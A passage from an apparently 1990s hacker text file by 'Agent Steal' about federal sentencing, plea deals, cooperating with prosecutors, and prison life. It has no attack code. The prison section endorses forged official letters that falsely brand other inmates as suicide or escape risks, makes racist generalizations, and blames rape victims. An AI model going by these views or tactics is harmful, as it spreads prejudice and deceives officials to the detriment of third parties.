N. Proceeding Pro Se

O. Evidentiary Hearing

P. Return of Property

Q. Outstanding Warrants

R. Encryption

S. Summary

Part III ‑ 2600 Special Section:

A. How to Avoid Detection

B. The Stealth Box

C. More Protection

CLOSURE

INTRODUCTION

The likelihood of getting arrested for computer hacking has increased to an unprecedented level. No matter how precautionary or sage you are, you're bound to make mistakes. And the fact of the matter is if you have trusted anyone else with the knowledge of what you are involved in, you have made your first mistake.

For anyone active in hacking I cannot begin to stress the importance of the information contained in this file. To those who have just been arrested by the Feds, reading this file could mean the difference between a three‑year or a one‑year sentence. To those who have never been busted, reading this file will likely change the way you hack, or stop you from hacking altogether.

I realize my previous statements are somewhat lofty, but in the 35 months I spent incarcerated I've heard countless inmates say it: "If I knew then what I know now..." I doubt that anyone would disagree: The criminal justice system is a game to be played, both by prosecution and defense. And if you have to be a player, you would be wise to learn the rules of engagement. The writer and contributors of this file have learned the hard way. As a result we turned our hacking skills during the times of our incarceration towards the study of criminal law and, ultimately, survival. Having filed our own motions, written our own briefs and endured life in prison, we now pass this knowledge back to the hacker community. Learn from our experiences... and our mistakes.

‑ Agent Steal

PART I ‑ FEDERAL CRIMINAL LAW

A. THE BOTTOM LINE ‑ RELEVANT CONDUCT

For those of you with a short G‑phile attention span I'm going to cover the single most important topic first. This is probably the most substantial misunderstanding of the present criminal justice system. The subject I am talking about is referred to in legal circles as "relevant conduct." It's a bit complex and I will get into this... However, I have to make this crystal clear so that it will stick in your heads. It boils down to two concepts:

I. ONCE YOU ARE FOUND GUILTY OF EVEN ONE COUNT, EVERY COUNT WILL BE USED TO CALCULATE YOUR SENTENCE

Regardless of whether you plea bargain to one count or 100, your sentence will be the same. This is assuming we are talking about hacking, code abuse, carding, computer trespass, property theft, etc. All of these are treated the same. Other crimes you committed (but were not charged with) will also be used to calculate your sentence. You do not have to be proven guilty of every act. As long as it appears that you were responsible, or someone says you were, then it can be used against you. I know this sounds insane , but it's true; it's the preponderance of evidence standard for relevant conduct. This practice includes using illegally seized evidence and acquittals as information in increasing the length of your sentence.

II. YOUR SENTENCE WILL BE BASED ON THE TOTAL MONETARY LOSS

The Feds use a sentencing table to calculate your sentence. It's simple; More Money = More Time. It doesn't matter if you tried to break in 10 times or 10,000 times. Each one could be a count but it's the loss that matters. And an unsuccessful attempt is treated the same as a completed crime. It also doesn't matter if you tried to break into one company's computer or 10. The government will quite simply add all of the estimated loss figures up, and then refer to the sentencing table.

B. PREPARING FOR TRIAL

I've been trying to be overly simplistic with my explanation. The United States Sentencing Guidelines (U.S.S.G.), are in fact quite complex. So much so that special law firms are forming that deal only with sentencing. If you get busted, I would highly recommend hiring one. In some cases it might be wise to avoid hiring a trial attorney and go straight to one of these "Post Conviction Specialists." Save your money, plead out, do your time. This may sound a little harsh, but considering the fact that the U.S. Attorney's Office has a 95% conviction rate, it may be sage advice. However, I don't want to gloss over the importance of a ready for trial posturing. If you have a strong trial attorney, and have a strong case, it will go a long way towards good plea bargain negotiations.

C. PLEA AGREEMENTS AND ATTORNEYS

Your attorney can be your worst foe or your finest advocate. Finding the proper one can be a difficult task. Costs will vary and typically the attorney asks you how much cash you can raise and then says, "that amount will be fine". In actuality a simple plea and sentencing should run you around $15,000. Trial fees can easily soar into the 6 figure category. And finally, a post conviction specialist will charge $5000 to $15,000 to handle your sentencing presentation with final arguments.

You may however, find yourself at the mercy of The Public Defenders Office. Usually they are worthless, occasionally you'll find one that will fight for you. Essentially it's a crap shoot. All I can say is if you don't like the one you have, fire them and hope you get appointed a better one. If you can scrape together $5000 for a sentencing (post conviction) specialist to work with your public defender I would highly recommend it. This specialist will make certain the judge sees the whole picture and will argue in the most effective manner for a light or reasonable sentence. Do not rely on your public defender to thoroughly present your case. Your sentencing hearing is going to flash by so fast you'll walk out of the court room dizzy. You and your defense team need to go into that hearing fully prepared, having already filed a sentencing memorandum.

The plea agreement you sign is going to affect you and your case well after you are sentenced. Plea agreements can be tricky business and if you are not careful or are in a bad defense position (the case against you is strong), your agreement may get the best of you. There are many issues in a plea to negotiate over. But essentially my advice would be to avoid signing away your right to appeal. Once you get to a real prison with real jailhouse lawyers you will find out how bad you got screwed. That issue notwithstanding, you are most likely going to want to appeal. This being the case you need to remember two things: bring all your appealable issues up at sentencing and file a notice of appeal within 10 days of your sentencing. Snooze and loose.

I should however, mention that you can appeal some issues even though you signed away your rights to appeal. For example, you can not sign away your right to appeal an illegal sentence. If the judge orders something that is not permissible by statute, you then have a constitutional right to appeal your sentence.

I will close this subpart with a prison joke. Q: How can you tell when your attorney is lying? A: You can see his lips moving.

D. CONSPIRACY

Whatever happened to getting off on a technicality? I'm sorry to say those days are gone, left only to the movies. The courts generally dismiss many arguments as "harmless error" or "the government acted in good faith". The most alarming trend, and surely the root of the prosecutions success, are the liberally worded conspiracy laws. Quite simply, if two or more people plan to do something illegal, then one of them does something in furtherance of the objective (even something legal), then it's a crime. Yes, it's true. In America it's illegal to simply talk about committing a crime. Paging Mr. Orwell. Hello?

Here's a hypothetical example to clarify this. Bill G. and Marc A. are hackers (can you imagine?) Bill and Marc are talking on the phone and unbeknownst to them the FBI is recording the call. They talk about hacking into Apple's mainframe and erasing the prototype of the new Apple Web Browser. Later that day, Marc does some legitimate research to find out what type of mainframe and operating system Apple uses. The next morning, the Feds raid Marc's house and seize everything that has wires. Bill and Marc go to trial and spend millions to defend themselves. They are both found guilty of conspiracy to commit unauthorized access to a computer system.

E. SENTENCING

At this point it is up to the probation department to prepare a report for the court. It is their responsibility to calculate the loss and identify any aggravating or mitigating circumstances. Apple Computer Corporation estimates that if Bill and Marc would have been successful it would have resulted in a loss of $2 million. This is the figure the court will use. Based on this basic scenario our dynamic duo would receive roughly three‑year sentences.

As I mentioned, sentencing is complex and many factors can decrease or increase a sentence, usually the latter. Let's say that the FBI also found a file on Marc's computer with 50,000 unauthorized account numbers and passwords to The Microsoft Network. Even if the FBI does not charge him with this, it could be used to increase his sentence. Generally the government places a $200‑per‑account attempted loss on things of this nature (i.e. credit card numbers and passwords = access devices). This makes for a $10 million loss. Coupled with the $2 million from Apple, Marc is going away for about nine years. Fortunately there is a Federal Prison not too far from Redmond, WA so Bill could come visit him.

Some of the other factors to be used in the calculation of a sentence might include the following: past criminal record, how big your role in the offense was, mental disabilities, whether or not you were on probation at the time of the offense, if any weapons were used, if any threats were used, if your name is Kevin Mitnick (heh), if an elderly person was victimized, if you took advantage of your employment position, if you are highly trained and used your special skill, if you cooperated with the authorities, if you show remorse, if you went to trial, etc.

These are just some of the many factors that could either increase or decrease a sentence. It would be beyond the scope of this article to cover the U.S.S.G. in complete detail. I do feel that I have skipped over some significant issues. Nevertheless, if you remember my two main points in addition to how the conspiracy law works, you'll be a long way ahead in protecting yourself.

F. USE OF A SPECIAL SKILL

The only specific "sentencing enhancement" I would like to cover would be one that I am responsible for setting a precedent with. In U.S. v Petersen, 98 F.3d. 502, 9th Cir., the United States Court of Appeals held that some computer hackers may qualify for the special skill enhancement. What this generally means is a 6 to 24 month increase in a sentence. In my case it added eight months to my 33‑month sentence bringing it to 41 months. Essentially the court stated that since I used my "sophisticated" hacking skills towards a legitimate end as a computer security consultant, then the enhancement applies. It's ironic that if I were to have remained strictly a criminal hacker then I would have served less time.

The moral of the story is that the government will find ways to give you as much time as they want to. The U.S.S.G. came into effect in 1987 in an attempt to eliminate disparity in sentencing. Defendants with similar crimes and similar backgrounds would often receive different sentences. Unfortunately, this practice still continues. The U.S.S.G. are indeed a failure.

G. GETTING BAIL

In the past, the Feds might simply have executed their raid and then left without arresting you. Presently this method will be the exception rather than the rule and it is more likely that you will be taken into custody at the time of the raid. Chances are also good that you will not be released on bail. This is part of the government's plan to break you down and win their case. If they can find any reason to deny you bail they will. In order to qualify for bail, you must meet the following criteria:

‑ You must be a resident of the jurisdiction in which you were arrested. ‑ You must be gainfully employed or have family ties to the area. ‑ You cannot have a history of failure to appear or escape.

‑ You cannot be considered a danger or threat to the community.

In addition, your bail can be denied for the following reasons:

‑ Someone came forward and stated to the court that you said you would flee if released.

‑ Your sentence will be long if convicted.

‑ You have a prior criminal history.

‑ You have pending charges in another jurisdiction.

What results from all this "bail reform" is that only about 20% of persons arrested make bail. On top of that it takes 1‑3 weeks to process your bail papers when property is involved in securing your bond.

Now you're in jail, more specifically you are either in an administrative holding facility or a county jail that has a contract with the Feds to hold their prisoners. Pray that you are in a large enough city to justify its own Federal Detention Center. County jails are typically the last place you would want to be.

H. STATE VS. FEDERAL CHARGES

In some cases you will be facing state charges with the possibility of the Feds "picking them up." You may even be able to nudge the Feds into indicting you. This is a tough decision. With the state you will do considerably less time, but will face a tougher crowd and conditions in prison. Granted, Federal Prisons can be violent too, but generally as a non‑violent white collar criminal you will eventually be placed into an environment with other low security inmates. More on this later.

Until you are sentenced, you will remain as a "pretrial inmate" in general population with other inmates. Some of the other inmates will be predatorial but the Feds do not tolerate much nonsense. If someone acts up, they'll get thrown in the hole. If they continue to pose a threat to the inmate population, they will be left in segregation (the hole). Occasionally inmates that are at risk or that have been threatened will be placed in segregation. This isn't really to protect the inmate. It is to protect the prison from a lawsuit should the inmate get injured.

I. COOPERATING

Naturally when you are first arrested the suits will want to talk to you. First at your residence and, if you appear to be talkative, they will take you back to their offices for an extended chat and a cup of coffee. My advice at this point is tried and true and we've all heard it before: remain silent and ask to speak with an attorney. Regardless of what the situation is, or how you plan to proceed, there is nothing you can say that will help you. Nothing. Even if you know that you are going to cooperate, this is not the time.

This is obviously a controversial subject, but the fact of the matter is roughly 80% of all defendants eventually confess and implicate others. This trend stems from the extremely long sentences the Feds are handing out these days. Not many people want to do 10 to 20 years to save their buddies' hides when they could be doing 3 to 5. This is a decision each individual needs to make. My only advice would be to save your close friends and family. Anyone else is fair game. In the prison system the blacks have a saying "Getting down first." It's no secret that the first defendant in a conspiracy is usually going to get the best deal. I've even seen situations where the big fish turned in all his little fish and received 40% off his sentence.

Incidentally, being debriefed or interrogated by the Feds can be an ordeal in itself. I would ‑highly‑ recommend reading up on interrogation techniques ahead of time. Once you know their methods it will be all quite transparent to you and the debriefing goes much more smoothly.

When you make a deal with the government you're making a deal with the devil himself. If you make any mistakes they will renege on the deal and you'll get nothing. On some occasions the government will trick you into thinking they want you to cooperate when they are not really interested in anything you have to say. They just want you to plead guilty. When you sign the cooperation agreement there are no set promises as to how much of a sentence reduction you will receive. That is to be decided after your testimony, etc. and at the time of sentencing. It's entirely up to the judge. However, the prosecution makes the recommendation and the judge generally goes along with it. In fact, if the prosecution does not motion the court for your "downward departure" the courts' hands are tied and you get no break.

As you can see, cooperating is a tricky business. Most people, particularly those who have never spent a day in jail, will tell you not to cooperate. "Don't snitch." This is a noble stance to take. However, in some situations this is just plain stupid. Saving someone's ass who would easily do the same to you is a tough call. It's something that needs careful consideration. Like I said, save your friends then do what you have to do to get out of prison and on with your life.

I'm happy to say that I was able to avoid involving my good friends and a former employer in the massive investigation that surrounded my case. It wasn't easy. I had to walk a fine line. Many of you probably know that I (Agent Steal) went to work for the FBI after I was arrested. I was responsible for teaching several agents about hacking and the culture. What many of you don't know is that I had close FBI ties prior to my arrest. I was involved in hacking for over 15 years and had worked as a computer security consultant. That is why I was given that opportunity. It is unlikely however, that we will see many more of these types of arrangements in the future. Our relationship ran afoul, mostly due to their passive negligence and lack of experience in dealing with hackers. The government in general now has their own resources, experience, and undercover agents within the community. They no longer need hackers to show them the ropes or the latest security hole.

Nevertheless, if you are in the position to tell the Feds something they don't know and help them build a case against someone, you may qualify for a sentence reduction. The typical range is 20% to 70%. Usually it's around 35% to 50%. Sometimes you may find yourself at the end of the prosecutorial food chain and the government will not let you cooperate. Kevin Mitnick would be a good example of this. Even if he wanted to roll over, I doubt it would get him much. He's just too big of a fish, too much media. My final advice in this matter is get the deal in writing before you start cooperating.

The Feds also like it when you "come clean" and accept responsibility. There is a provision in the Sentencing Guidelines, 3E1.1, that knocks a little bit of time off if you confess to your crime, plead guilty and show remorse. If you go to trial, typically you will not qualify for this "acceptance of responsibility" and your sentence will be longer.

J. STILL THINKING ABOUT TRIAL

Many hackers may remember the Craig Neidorf case over the famous 911 System Operation documents. Craig won his case when it was discovered that the manual in question, that he had published in Phrack magazine, was not proprietary as claimed but available publicly from AT&T. It was an egg in the face day for the Secret Service.

Don't be misled by this. The government learned a lot from this fiasco and even with the laudable support from the EFF, Craig narrowly thwarted off a conviction. Regardless, it was a trying experience (no pun intended) for him and his attorneys. The point I'm trying to make is that it's tough to beat the Feds. They play dirty and will do just about anything, including lie, to win their case. If you want to really win you need to know how they build a case in the first place.

K. SEARCH AND SEIZURE

There is a document entitled "Federal Guidelines For Searching And Seizing Computers." It first came to my attention when it was published in the 12‑21‑94 edition of the Criminal Law Reporter by the Bureau of National Affairs (Cite as 56 CRL 2023 ). It's an intriguing collection of tips, cases, mistakes and, in general, how to bust computer hackers. It's recommended reading.

Search and seizure is an ever evolving jurisprudence. What's not permissible today may, through some convoluted Supreme Court logic, be permissible and legal tomorrow. Again, a complete treatment of this subject is beyond the scope of this paper. But suffice it to say if a Federal agent wants to walk right into your bedroom and seize all of your computer equipment without a warrant he could do it by simply saying he had probable cause (PC). PC is anything that gives him an inkling to believe you were committing a crime. Police have been known to find PC to search a car when the trunk sat too low to the ground or the high beams were always on.

L. SURVEILLANCE AND WIRETAPS

Fortunately the Feds still have to show a little restraint when wielding their wiretaps. It requires a court order and they have to show that there is no other way to obtain the information they seek, a last resort if you will. Wiretaps are also expensive to operate. They have to lease lines from the phone company, pay agents to monitor it 24 hours a day and then transcribe it. If we are talking about a data tap, there are additional costs. Expensive interception/translation equipment must be in place to negotiate the various modem speeds. Then the data has to be stored, deciphered, decompressed, formatted, protocoled, etc. It's a daunting task and usually reserved for only the highest profile cases. If the Feds can seize the data from any other source, like the service provider or victim, they will take that route. I don't know what they hate worse though, asking for outside help or wasting valuable internal resources.

The simplest method is to enlist the help of an informant who will testify "I saw him do it!," then obtain a search warrant to seize the evidence on your computer. Ba da boom, ba da busted.

Other devices include a pen register which is a device that logs every digit you dial on your phone and the length of the calls, both incoming and outgoing. The phone companies keep racks of them at their security departments. They can place one on your line within a day if they feel you are defrauding them. They don't need a court order, but the Feds do.

A trap, or trap and trace, is typically any method the phone company uses to log every number that calls a particular number. This can be done on the switching system level or via a billing database search. The Feds need a court order for this information too. However, I've heard stories of cooperative telco security investigations passing the information along to an agent. Naturally that would be a "harmless error while acting in good faith." (legal humor)...

I'd love to tell you more about FBI wiretaps but this is as far as I can go without pissing them off. Everything I've told you thus far is public knowledge. So I think I'll stop here. If you really want to know more, catch Kevin Poulsen (Dark Dante) at a cocktail party, buy him a Coke and he'll give you an earful. (hacker humor)

In closing this subpart I will say that most electronic surveillance is backed up with at least part‑time physical surveillance. The Feds are often good at following people around. They like late model mid‑sized American cars, very stock, with no decals or bumper stickers. If you really want to know if you're under surveillance, buy an Opto‑electronics Scout or Xplorer frequency counter. Hide it on your person, stick an ear plug in your ear (for the Xplorer) and take it everywhere you go. If you hear people talking about you, or you continue to hear intermittent static (encrypted speech), you probably have a problem.

M. YOUR PRESENTENCE INVESTIGATION REPORT, PSI OR PSR

After you plead guilty you will be dragged from the quiet and comfort of your prison cell to meet with a probation officer. This has absolutely nothing to do with getting probation. Quite the contrary. The P.O. is empowered by the court to prepare a complete and, in theory, unbiased profile of the defendant. Everything from education, criminal history, psychological behavior, offense characteristics plus more will be included in this voluminous and painfully detailed report about your life. Every little dirty scrap of information that makes you look like a sociopath, demon worshiping, loathsome criminal will be included in this report. They'll put a few negative things in there as well.

My advice is simple. Be careful what you tell them. Have your attorney present and think about how what you say can be used against you. Here's an example:

P.O.: Tell me about your education and what you like to do in your spare time.

Mr. Steal: I am preparing to enroll in my final year of college. In my spare time I work for charity helping orphan children.

The PSR then reads "Mr. Steal has never completed his education and hangs around with little children in his spare time." Get the picture?

J. PROCEEDING PRO SE

Pro Se or Pro Per is when a defendant represents himself. A famous lawyer once said "a man that represents himself has a fool for a client." Truer words were never spoken. However, I can't stress how important it is to fully understand the criminal justice system. Even if you have a great attorney it's good to be able to keep an eye on him or even help out. An educated client's help can be of enormous benefit to an attorney. They may think you're a pain in the ass but it's your life. Take a hold of it. Regardless, representing yourself is generally a mistake.

However, after your appeal, when your court appointed attorney runs out on you, or you have run out of funds, you will be forced to handle matters yourself. At this point there are legal avenues, although quite bleak, for post‑conviction relief.

But I digress. The best place to start in understanding the legal system lies in three inexpensive books. First the Federal Sentencing Guidelines ($14.00) and Federal Criminal Codes and Rules ($20.00) are available from West Publishing at 800‑328‑9352. I consider possession of these books to be mandatory for any pretrial inmate. Second would be the Georgetown Law Journal, available from Georgetown University Bookstore in Washington, DC. The book sells for around $40.00 but if you write them a letter and tell them you're a Pro Se litigant they will send it for free. And last but not least the definitive Pro Se authority, "The Prisoners Self Help Litigation Manual" $29.95 ISBN 0‑379‑20831‑8. Or try http://www.oceanalaw.com/books/n148.htm

O. EVIDENTIARY HEARING

If you disagree with some of the information presented in the presentence report (PSR) you may be entitled to a special hearing. This can be instrumental in lowering your sentence or correcting your PSR. One important thing to know is that your PSR will follow you the whole time you are incarcerated. The Bureau of Prisons uses the PSR to decide how to handle you. This can affect your security level, your halfway house, your eligibility for the drug program (which gives you a year off your sentence), and your medical care. So make sure your PSR is accurate before you get sentenced!

P. GETTING YOUR PROPERTY BACK

In most cases it will be necessary to formally ask the court to have your property returned. They are not going to just call you up and say "Do you want this Sparc Station back or what?" No, they would just as soon keep it and not asking for it is as good as telling them they can have it.

You will need to file a 41(e) "Motion For Return Of Property." The courts' authority to keep your stuff is not always clear and will have to be taken on a case‑by‑case basis. They may not care and the judge will simply order that it be returned.

If you don't know how to write a motion, just send a formal letter to the judge asking for it back. Tell him you need it for your job. This should suffice, but there may be a filing fee.

Q. OUTSTANDING WARRANTS

If you have an outstanding warrant or charges pending in another jurisdiction you would be wise to deal with them as soon as possible ‑after‑ you are sentenced. If you follow the correct procedure chances are good the warrants will be dropped (quashed). In the worst case scenario, you will be transported to the appropriate jurisdiction, plead guilty and have your "time run concurrent." Typically in non‑violent crimes you can serve several sentences all at the same time. Many Federal inmates have their state time run with their Federal time. In a nutshell: concurrent is good, consecutive bad.

This procedure is referred to as the Interstate Agreement On Detainers Act (IADA). You may also file a "demand for speedy trial", with the appropriate court. This starts the meter running. If they don't extradite you within a certain period of time, the charges will have to be dropped. The "Inmates' Self‑Help Litigation Manual" that I mentioned earlier covers this topic quite well.

R. ENCRYPTION

There are probably a few of you out there saying, "I triple DES encrypt my hard drive and 128 character RSA public key it for safety." Well, that's just great, but... the Feds can have a grand jury subpoena your passwords and if you don't give them up you may be charged with obstruction of justice. Of course who's to say otherwise if you forgot your password in all the excitement of getting arrested. I think I heard this once or twice before in a Senate Sub‑committee hearing. "Senator, I have no recollection of the aforementioned events at this time." But seriously, strong encryption is great. However, it would be foolish to rely on it. If the Feds have your computer and access to your encryption software itself, it is likely they could break it given the motivation. If you understand the true art of code breaking you should understand this. People often overlook the fact that your password, the one you use to access your encryption program, is typically less than 8 characters long. By attacking the access to your encryption program with a keyboard emulation sequencer your triple DES/128 bit RSA crypto is worthless. Just remember, encryption may not protect you.

S. LEGAL SUMMARY

Before I move on to the Life in Prison subpart, let me tell you what this all means. You're going to get busted, lose everything you own, not get out on bail, snitch on your enemies, get even more time than you expected and have to put up with a bunch of idiots in prison. Sound fun? Keep hacking. And, if possible, work on those sensitive .gov sites. That way they can hang an espionage rap on you. That will carry about 12 to 18 years for a first time offender.

I know this may all sound a bit bleak, but the stakes for hackers have gone up and you need to know what they are. Let's take a look at some recent sentences:

Agent Steal (me) 41 months

Kevin Poulsen 51 months

Minor Threat 70 months

Kevin Mitnick estimated 7‑9 years

As you can see, the Feds are giving out some time now. If you are young, a first‑time offender, unsophisticated (like MOD), and were just looking around in some little company's database, you might get probation. But chances are that if that is all you were doing, you would have been passed over for prosecution. As a rule, the Feds won't take the case unless $10,000 in damages are involved. The problem is who is to say what the loss is? The company can say whatever figure it likes and it would be tough to prove otherwise. They may decide to, for insurance purposes, blame some huge downtime expense on you. I can hear it now, "When we detected the intruder, we promptly took our system off‑line. It took us two weeks to bring it up again for a loss in wasted manpower of $2 million." In some cases you might be better off just using the company's payroll system to cut you a couple of $10,000 checks. That way the government has a firm loss figure. This would result in a much shorter sentence. I'm not advocating blatant criminal actions. I just think the sentencing guidelines definitely need some work.

PART II ‑ FEDERAL PRISON

A. STATE v. FEDERAL

In most cases I would say that doing time in a Federal Prison is better than doing time in the state institutions. Some state prisons are such violent and pathetic places that it's worth doing a little more time in the Federal system. This is going to be changing however. The public seems to think that prisons are too comfortable and as a result Congress has passed a few bills to toughen things up.

Federal prisons are generally going to be somewhat less crowded, cleaner, and more laid back. The prison I was at looked a lot like a college campus with plenty of grass and trees, rolling hills, and stucco buildings. I spent most of my time in the library hanging out with Minor Threat. We would argue over who was more elite. "My sentence was longer," he would argue. "I was in more books and newspapers," I would rebut. (humor)

Exceptions to the Fed is better rule would be states that permit televisions and word processors in your cell. As I sit here just prior to release scribbling this article with pen and paper I yearn for even a Smith Corona with one line display. The states have varying privileges. You could wind up someplace where everything gets stolen from you. There are also states that are abolishing parole, thus taking away the ability to get out early with good behavior. That is what the Feds did.

B. SECURITY LEVELS

The Bureau of Prisons (BOP) has six security levels. Prisons are assigned a security level and only prisoners with the appropriate ratings are housed there. Often the BOP will have two or three facilities at one location. Still, they are essentially separate prisons, divided by fences.

The lowest level facility is called a minimum, a camp, or FPC. Generally speaking, you will find first time, non‑violent offenders with less than 10 year sentences there. Camps have no fences. Your work assignment at a camp is usually off the prison grounds at a nearby military base. Other times camps operate as support for other nearby prisons.

The next level up is a low Federal Correctional Institution (FCI). These are where you find a lot of people who should be in a camp but for some technical reason didn't qualify. There is a double fence with razor wire surrounding it. Again you will find mostly non‑violent types here. You would really have to piss someone off before they would take a swing at you.

Moving up again we get to medium and high FCI's which are often combined. More razor wire, more guards, restricted movement and a rougher crowd. It's also common to find people with 20 or 30+ year sentences. Fighting is much more common. Keep to yourself, however, and people generally leave you alone. Killings are not too terribly common. With a prison population of 1500‑2000, about one or two a year leave on a stretcher and don't come back.

The United States Penitentiary (U.S.P.) is where you find the murderers, rapists, spies and the roughest gang bangers. "Leavenworth" and "Atlanta" are the most infamous of these joints. Traditionally surrounded by a 40 foot brick wall, they take on an ominous appearance. The murder rate per prison averages about 30 per year with well over 250 stabbings.

The highest security level in the system is Max, sometimes referred to as "Supermax." Max custody inmates are locked down all the time. Your mail is shown to you over a TV screen in your cell. The shower is on wheels and it comes to your door. You rarely see other humans and if you do leave your cell you will be handcuffed and have at least a three guard escort. Mr. Gotti, the Mafia boss, remains in Supermax. So does Aldridge Ames, the spy.

C. GETTING DESIGNATED

Once you are sentenced, the BOP has to figure out what they want to do with you. There is a manual called the "Custody and Classification Manual" that they are supposed to follow. It is publicly available through the Freedom of Information Act and it is also in most prison law libraries. Unfortunately, it can be interpreted a number of different ways. As a result, most prison officials responsible for classifying you do pretty much as they please.

Your first classification is done by the Region Designator at BOP Regional Headquarters. As a computer hacker you will most likely be placed in a camp or a low FCI. This is assuming you weren't pulling bank jobs on the side. ‑IF‑ you do wind up in an FCI, you should make it to a camp after six months. This is assuming you behave yourself.

Another thing the Region Designator will do is to place a "Computer No" on your file. This means you will not be allowed to operate a computer at your prison work assignment. In my case I wasn't allowed to be within 10 feet of one. It was explained to me that they didn't even want me to know the types of software they were running. Incidentally, the BOP uses PC/Server based LANs with NetWare 4.1 running on Fiber 10baseT Ethernet connections to Cabletron switches and hubs. PC based gateways reside at every prison. The connection to the IBM mainframe (Sentry) is done through leased lines via Sprintnet's Frame Relay service with 3270 emulation software/hardware resident on the local servers. Sentry resides in Washington, D.C. with SNA type network concentrators at the regional offices. ;‑) And I picked all of this up without even trying to. Needless to say, BOP computer security is very lax. Many of their publicly available "Program Statements" contain specific information on how to use Sentry and what it's designed to do. They have other networks as well, but this is not a tutorial on how to hack the BOP. I'll save that for if they ever really piss me off. (humor)

Not surprisingly, the BOP is very paranoid about computer hackers. I went out of my way not to be interested in their systems or to receive computer security related mail. Nevertheless, they tried restricting my mail on numerous occasions. After I filed numerous grievances and had a meeting with the warden, they decided I was probably going to behave myself. My 20 or so magazine subscriptions were permitted to come in, after a special screening. Despite all of that I still had occasional problems, usually when I received something esoteric in nature. It's my understanding, however, that many hackers at other prisons have not been as fortunate as I was.

D. IGNORANT INMATES

You will meet some of the stupidest people on the planet in prison. I suppose that is why they are there, too dumb to do anything except crime. And for some strange reason these uneducated low class common thieves think they deserve your respect. In fact they will often demand it. These are the same people that condemn everyone who cooperated, while at the same time feel it is fine to break into your house or rob a store at gunpoint. These are the types of inmates you will be incarcerated with, and occasionally these inmates will try to get over on you. They will do this for no reason other than the fact you are an easy mark.

There are a few tricks hackers can do to protect themselves in prison. The key to your success is acting before the problem escalates. It is also important to have someone outside (preferably another hacker) that can do some social engineering for you. The objective is simply to have your problem inmate moved to another institution. I don't want to give away my methods but if staff believes that an inmate is going to cause trouble, or if they believe his life is in danger, they will move him or lock him away in segregation. Social engineered letters (official looking) or phone calls from the right source to the right department will often evoke brisk action. It's also quite simple to make an inmates life quite miserable. If the BOP has reason to believe that an inmate is an escape risk, a suicide threat, or had pending charges, they will handle them much differently. Tacking these labels on an inmate would be a real nasty trick. I have a saying: "Hackers usually have the last word in arguments." Indeed.

Chances are you won't have many troubles in prison. This especially applies if you go to a camp, mind your own business, and watch your mouth. Nevertheless, I've covered all of this in the event you find yourself caught up in the ignorant behavior of inmates whose lives revolve around prison. And one last piece of advice, don't make threats, truly stupid people are too stupid to fear anything, particularly an intelligent man. Just do it.

E. POPULATION

The distribution of blacks, whites and Hispanics varies from institution to institution. Overall it works out to roughly 30% white, 30% Hispanic and 30% black. The remaining 10% are various other races. Some joints have a high percent of blacks and vice versa. I'm not necessarily a prejudiced person, but prisons where blacks are in majority are a nightmare. Acting loud, disrespectful, and trying to run the place is par for the course.

In terms of crimes, 60% of the Federal inmate population are incarcerated for drug related crimes. The next most common would be bank robbery (usually for quick drug money), then various white collar crimes. The Federal prison population has changed over the years. It used to be a place for the criminal elite. The tough drug laws have changed all of that.

Just to quell the rumors, I'm going to cover the topic of prison rape. Quite simply, in medium and low security level Federal prisons it is unheard of. In the highs it rarely happens. When it does happen, one could argue that the victim was asking for it. I heard an inmate say once, "You can't make no inmate suck cock that don't wanta." Indeed. In my 41 months of incarceration, I never felt in any danger. I would occasionally have inmates that would subtly ask me questions to see where my preferences lie, but once I made it clear that I didn't swing that way I would be left alone. Hell, I got hit on more often when I was hanging out in Hollywood!

On the other hand, state prisons can be a hostile environment for rape and fighting in general. Many of us heard how Bernie S. got beat up over use of the phone. Indeed, I had to get busy a couple of times. Most prison arguments occur over three simple things: the phone, the TV and money/drugs. If you want to stay out of trouble in a state prison, or Federal for that matter, don't use the phone too long, don't change the channel and don't get involved in gambling or drugs. As far as rape goes, pick your friends carefully and stick with them. And always, always, be respectful. Even if the guy is a fucking idiot (and most inmates are), say excuse me.

My final piece of prison etiquette advice would be to never take your inmate problems to "the man" (prison staff). Despite the fact that most everyone in prison snitched on their co‑defendants at trial, there is no excuse for being a prison rat. The rules are set by the prisoners themselves. If someone steps out of line there will likely be another inmate who will be happy to knock him back. In some prisons inmates are so afraid of being labeled a rat that they refuse to be seen talking alone with a prison staff member. I should close this paragraph by stating that this bit of etiquette is routinely ignored as other inmates will snitch on you for any reason whatsoever. Prison is a strange environment.

F. DOING TIME

You can make what you want to out of prison. Some people sit around and do dope all day. Others immerse themselves in a routine of work and exercise. I studied technology and music. Regardless, prisons are no longer a place of rehabilitation. They serve only to punish and conditions are only going to worsen. The effect is that angry, uneducated, and unproductive inmates are being released back into society.

While I was incarcerated in 95/96, the prison band program was still in operation. I played drums for two different prison bands. It really helped pass the time and when I get out I will continue with my career in music. Now the program has been canceled, all because some senator wanted to be seen as being tough on crime. Bills were passed in Congress. The cable TV is gone, pornography mags are no longer permitted, and the weight piles are being removed. All this means is that prisoners will have more spare time on their hands, and so more guards will have to be hired to watch the prisoners. I don't want to get started on this subject. Essentially what I'm saying is make something out of your time. Study, get in to a routine and before you know you'll be going home, and a better person on top of it.

G. DISCIPLINARY ACTIONS

What fun is it if you go to prison and don't get into some mischief? Well, I'm happy to say the only "shots" (violations) I ever received were for having a friend place a call with his three‑way calling for me (you can't call everyone collect), and drinking homemade wine. |‑) The prison occasionally monitors your phone calls and on the seven or eight hundredth time I made a three‑way I got caught. My punishment was ten hours of extra duty (cleaning up). Other punishments for shots include loss of phone use, loss of commissary, loss of visits, and getting thrown in the hole. Shots can also increase your security level and can get you transferred to a higher level institution. If you find yourself having trouble in this area you may want to pick up the book, "How to win prison disciplinary hearings", by Alan Parmelee, 206‑328‑2875.

H. ADMINISTRATIVE REMEDY

If you have a disagreement with the way staff is handling your case (and you will) or another complaint, there is an administrative remedy procedure. First you must try to resolve it informally. Then you can file a form BP‑9. The BP‑9 goes to the warden. After that you can file a BP‑10 which goes to the region. Finally, a BP‑11 goes to the National BOP Headquarters (Central Office). The whole procedure is a joke and takes about six months to complete. Delay and conquer is the BOP motto. After you complete the remedy process to no avail, you may file your action in a civil court. In some extreme cases you may take your case directly to the courts without exhausting the remedy process. Again, the "Prisoners Self‑Help Litigation Manual" covers this quite well.

My best advice with this remedy nonsense is to keep your request brief, clear, concise and only ask for one specific thing per form. Usually if you "got it coming" you will get it. If you don't, or if the BOP can find any reason to deny your request, they will.

